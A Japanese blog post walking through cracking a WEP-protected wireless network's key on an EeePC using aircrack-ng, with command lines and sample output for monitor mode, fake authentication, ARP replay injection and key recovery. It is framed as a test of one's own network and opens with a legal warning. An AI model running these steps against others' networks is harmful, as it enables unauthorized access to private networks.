Same Shit Different Day

EeePCでWEP解析

メール 印刷


このページの情報を元に他人のWEPを解析してワイヤレスネットワークに侵入すると法律違反となり、お縄になる可能性がありますので、あくまでも個人的な興味の範囲でお楽しみください。

Thumbnail 最近、一般家庭でも無線LANが当り前になっており、快適なインターネット接続を家中何処にいても行える環境が整っていますが、無線という目に見えないものに依存していることを忘れると、あまり喜ばしくない事態に発展する可能性もあります。

便利なものには必ずそれに伴う代償があるもので、無線が届く範囲であれば理屈的には誰でも無線LANに接続可能です。

簡単に言うと、近所の人がただで自分の無線LANに接続し、インターネットし放題と言う可能性があるわけです。

勝手にインターネット接続を使用されるくらいならまだかわいいものですが、悪用されてお巡りさんがドアをノックするなんて事態になると洒落になりませんから、無線LANを構築する際には、第三者が勝手にネット接続を使おうが、悪用されて警察が来ようが全然関係ないと言う懐の広い人以外は、接続時にパスワードが必要なWEP、WPA等の認証を利用する必要があります。

ただ、少し古いルーターなんかですとWEPにしか対応していなかったり、クライアントのアダプタとの相性等でWEPしか使えなかったりする場合があります。

実はこのWEPは非常に脆い暗号化技術で、すでに数分でパスワードを解析できるツールが公開されています。

ツール自体はLANのアダプタを選んだりLinuxベースで開発されていること等から、かなり環境を選ぶため、誰でも手軽に使えるものではないのが幸いですが、それでもかなりの脅威です。

EeePC(P701)は、LANアダプタにAtherosのチップを使っており、WEP解析ツールの動作に必要な要件を満たしています

また、すでにUbuntuを使用しているのでこれまた解析ツールの使用要件にぴったりです。

というわけで、自宅のワイヤレスLANのセキュリティーにWEPを用いている場合、本当に簡単にパスワードが解析されてしまうのか検証してみることにしましょう。

用意するものは、

  1. aircrack-ng
    =>WEPのパスワード解析に必要な情報の収集から情報収集のために必要なアクセスポイントへのアタック、パスワードの解読までを行う優れもの。
    インストールにはパッケージマネージャを使用すればOKです。
  2. aircrack-ptw
    =>収集した情報からWEPのパスワードを最短で解読できる恐るべきツール(aircrack-ngに組み込み済み?)。
    インストールにはソースコードをダウンロードして解凍、"make"でコンパイル後、"aircrack-ptw"を"usr/bin"へコピーします。
    また、"make"コマンドでエラーが出る場合は、"libpcap0.8-dev"をインストールする必要があります。
WEPの暗号化の仕組みやややこしい話は別にして、とにかくWEPで保護されたワイヤレスLANのパスワードを解読することに専念しましょう。

まず、自分のネットワークアダプタの構成を見てみましょう。

iwconfig
恐らく、下記のようになってるはずです。
lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

ath0      IEEE 802.11g  ESSID:"weptest"  Nickname:""
 Mode:Managed  Frequency:2.457 GHz 
 Access Point: 99:88:77:66:55:44
 Bit Rate:0 kb/s   Tx-Power:17 dBm   Sensitivity=1/1
 Retry:off   RTS thr:off   Fragment thr:off
 Encryption key:off
 Power Management:off
 Link Quality=0/70  Signal level=-98 dBm  Noise level=-98 dBm
 Rx invalid nwid:2278  Rx invalid crypt:0  Rx invalid frag:0
 Tx excessive retries:0  Invalid misc:0   Missed beacon:0
このままネットワークアダプタを追加してもいいんですが、何故か当方の環境だとうまく行かなかったので、現在有効になっている"ath0"を無効にします。
airmon-ng stop ath0
次に、
airmon-ng start wifi0
これで、"ath0"がモニターモードで追加されます。
airmon-ng
下記のように表示されればOKです。
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP
 (parent: wifi0) (monitor mode enabled)
では、今現在、どのようなワイヤレスLANが近くにあるのか見てみましょう。
airodump-ng ath0
とすると、
 CH  ? ][ Elapsed: 30 s ][ 2008-07-13 15:36

 BSSID              PWR  Beacons    #Data, #/s  CH  MB 
 00:11:22:33:44:55   45      268       18    0   6  54 
 aa:bb:cc:dd:ee:ff   30      120       46    0   9  54 

 ENC  CIPHER AUTH ESSID
 WEP  WEP         weptest
 WEP  WEP         underarrest

 BSSID              STATION            PWR  Lost 

 00:11:22:33:44:55  01:23:45:67:89:01   48     0 
 (not associated)   23:45:67:89:01:02   34     0 

 Packets  Probes
      60  weptest
      17
こんな感じで近くのワイヤレスLANの状況が分かります。

今回、WEPのパスワードを解読するターゲットは"weptest"とします。

WEPのパスワードを解読するには、このワイヤレスLAN上でやり取りされる正常なパケットをできる限り多く収集する必要があるのですが、このまま見ているだけではパケット数はなかなか増えません。

WEPのパスワード解読に必要なパケット数は、"aircrack-ng"で800k、"aircrack-ptw"で80kと言われています

ターゲットのアクセスポイントがMACアドレスによるアクセス制限を掛けていないのであれば、"aireplay-ng"でアクセスポイントとネットワークアダプタの関連付けを行い、ARPによるリクエストを送信して強引にパケットを増やすことが可能です。

aireplay-ng -1 0 -a 00:11:22:33:44:55 -h 99:88:77:66:55:44
 -e weptest ath0
で、
12:34:19 Waitig for beacon frame (BSSID: 00:11:22:33:44:55)
12:34:19 Sending Authentication Request 
12:34:19 Authentication successful 
12:34:19 Sending Association Request 
12:34:19 Association successful :-) 
こんなメッセージが出たらOKです。

99:88:77:66:55:44は自分のネットワークアダプタのMACアドレスです(iwconfigで確認)

次に、パケットを収集するための準備を行いましょう。

airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w output ath0
これで、収集したパケットをファイルに書き出します。

"6"はアクセスポイントが使用しているチャンネル番号、"output"は書き出すファイルの名前です

このターミナルはこのままパケット収集のために放置して、新たにターミナルを起動します。

aireplay-ng -3 -b 00:11:22:33:44:55 -h 99:88:77:66:55:44 ath0
で、
Saving ARP requests in replay_arp-0011-123456.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent
 210955 packets...
こんな感じのメッセージが出ればOKです。

このターミナルもARPリクエストを送信し続けるため、このままパケットの収集が終わるまで放置します。

先ほどの"airodump-ng"を実行したターミナルを見ると、当該アクセスポイントのパケット数が面白いように増えていくのが分かると思います。

後は、パケットが十分に集まるまで適当に放置しておきましょう。

とりあえず、パケットが85kくらいのところで、"Ctl+c"でプロセスを停止、いよいよWEPのパスワードの解読です。

aircrack-ptw output-01.cap

"-01"は自動で割り振られます

しばしの後、
allocationg a new table
bssid = 00:11:22:33:44:55 keyindex=0
stats for bssid 00:11:22:33:44:55 keyindex=0 packet=27335
Found key with len 05: xx xx xx xx xx
"Found key"が表示されれば、WEPのパスワードの解読の成功です。

早速、ワイヤレスLANにアクセスしてみましょう。

上記のパスワードはHex形式ですので、Ubuntuの場合は認証画面から"WEP Hex"を選択します。

今回はかなりベーシックなWEPを使っているワイヤレスLANですが、MACアドレスでのアクセス規制や、関連付けが思うようにいかない場合もあるようです。

ただ、"aircrack-ng"には様々な状況におけるパケットの収集方法があるようですので、研究して見ると良いかも知れません。

ちょっと、面白半分で解読してみましたが、本当にパスワードがあっけなく解読できてしまいました。

今、WEPを自宅LANで使っている人は外からアクセスしている人がいないかどうかチェックして見る必要がありそうです。
ThumbnailThumbnailThumbnail

上記の画像は実際にWEPのパスワードを解読した際のものです


 
ホーム | 独り言 | EeePCでWEP解析

最新記事

人気記事